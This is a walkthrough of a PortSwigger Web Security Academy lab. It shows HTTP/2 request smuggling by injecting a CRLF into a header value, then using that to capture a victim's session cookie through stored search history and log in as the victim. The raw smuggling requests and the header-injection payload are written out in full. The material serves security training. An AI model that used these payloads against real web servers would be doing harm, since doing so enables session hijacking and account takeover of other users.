| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Request Smuggling — H2.TE via CRLF Header Injection, Session Hijacking |
| Difficulty | Practitioner |
| Objective | Capture the victim's session cookie via a smuggled search request and log in as them |
| Note | Victim accesses the home page every 15 seconds. |
HTTP/2 Request Smuggling via CRLF Injection¶
The application has a search bar that stores recent searches tied to a session cookie:
Removing the session cookie from the request makes the search history disappear. That cookie is the target.
Intercepting a request, switching to POST, cleaning headers — base request:
POST / HTTP/2
Host: 0ab90069047a8b8880ab356d007e00d1.web-security-academy.net
Content-Length: 0
Trying the standard H2.TE approach — adding Transfer-Encoding: chunked as a header and smuggling a GET /miku:
POST / HTTP/2
Host: 0ab90069047a8b8880ab356d007e00d1.web-security-academy.net
Content-Length: 100
Transfer-Encoding: chunked
0
GET /miku HTTP/1.1
Host: 0ab90069047a8b8880ab356d007e00d1.web-security-academy.net
Teto: teto
Always returns 200 OK — no 404 ever appears.
The front-end is stripping the Transfer-Encoding header before passing the request to the back-end. Direct injection doesn't work here.
HTTP/2 headers are binary and don't support literal \r\n sequences — the protocol was designed to prevent header injection. But if the front-end doesn't sanitize header values before downgrading to HTTP/1, those CRLF bytes survive the translation and the back-end sees them as header terminators. Burp's Inspector lets us inject raw bytes into header values, including CRLFs that would be normalized away in normal text editing.
Using Burp's Inspector to add a new request header with an embedded CRLF:
Name: Teto
Value: teto\r\n
Transfer-Encoding: chunked
We're not adding Transfer-Encoding as a separate header — we're embedding it inside an existing header's value using a CRLF. When the front-end downgrades to HTTP/1, the \r\n terminates the Teto header line and starts a new line Transfer-Encoding: chunked. The back-end processes chunked encoding, creating the desync.
After sending the request a few times, the 404 appears:
CRLF injection works. Now for the actual attack.
The search bar stores whatever is searched as session-bound history. If we smuggle a partial POST to the search endpoint with an inflated Content-Length, the victim's next request body gets appended to our search parameter and stored — including their Cookie header.
Smuggled request (injected via the same CRLF trick in the Teto header):
POST / HTTP/1.1
Host: 0ab90069047a8b8880ab356d007e00d1.web-security-academy.net
Cookie: session=VzGV1Px8nMmnJQ2hR6lLaoXPTzzHQxb4
Content-Length: 850
search=mikudayo
Our session cookie is included so the smuggled POST is processed under our account — the captured data ends up in our search history. The Content-Length: 850 is massively inflated relative to the actual body (search=mikudayo is about 14 bytes). The back-end waits for the remaining 836 bytes — when the victim's request arrives, their full headers and body get appended to our search= value and stored.
After sending the attack request and waiting for the victim to visit the home page, we reload the search history on our account:
The victim's request is sitting in the search results — including their session cookie. Paste it into the browser's storage, reload, and we're logged in as carlos. and this will get the lab solved 0.0